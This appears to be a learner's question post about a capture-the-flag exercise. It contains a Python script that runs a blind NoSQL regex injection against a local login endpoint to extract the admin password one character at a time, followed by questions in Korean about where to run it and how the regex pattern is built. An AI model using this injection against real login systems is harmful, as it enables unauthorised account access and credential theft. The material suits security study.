import requests, string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
이 코드는 어따 작성해야 하나요?
그리고 sql은 어디다가 입력해서 하는 공격인가요?
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}') 부분에서 D.{{{flag}{ch} 부분이 출력되면 D.{xxx 나오게 되는데 이때 여는 중괄호만 출력되고 닫는 중괄호는 출력되지 않게 하신 이유가 궁급합니다. ex. D.{{{flag}{ch}}} 의 경우 D.{xxx}형식으로 pw의 형식과 일치하게 됨.